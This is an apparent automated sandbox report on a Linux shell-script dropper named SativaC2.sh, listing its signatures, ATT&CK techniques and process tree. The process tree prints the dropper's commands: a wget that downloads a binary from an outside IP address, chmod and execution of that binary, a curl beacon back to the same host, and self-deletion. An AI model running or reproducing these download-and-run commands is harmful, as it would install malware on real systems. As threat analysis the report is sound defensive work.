Analysis
- max time kernel
71s - max time network
74s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
02/07/2026, 00:30
General
- Target SativaC2.sh
- Size 4KB
- Sample260702-atv14agy6k
- SHA256 3a93967ea364b1efaf1c20d04071ae5a2fcb66fc453259851d2f85544506e246
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/SativaC2.sh/tmp/SativaC2.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q http://85.204.125.67:8080/a-r.m-7.SativaC2 -O a-r.m-7.SativaC22⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x a-r.m-7.SativaC22⤵
- File and Directory Permissions Modification
-
-
/tmp/a-r.m-7.SativaC2./a-r.m-7.SativaC22⤵
- Reads system routing table
- Reads system network configuration
-
-
/usr/bin/curlcurl -s "http://85.204.125.67:8080/success?arch=armv7l"2⤵
- Checks CPU configuration
- Reads runtime system information
-
-
/bin/rmrm -f /tmp/SativaC2.sh2⤵
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1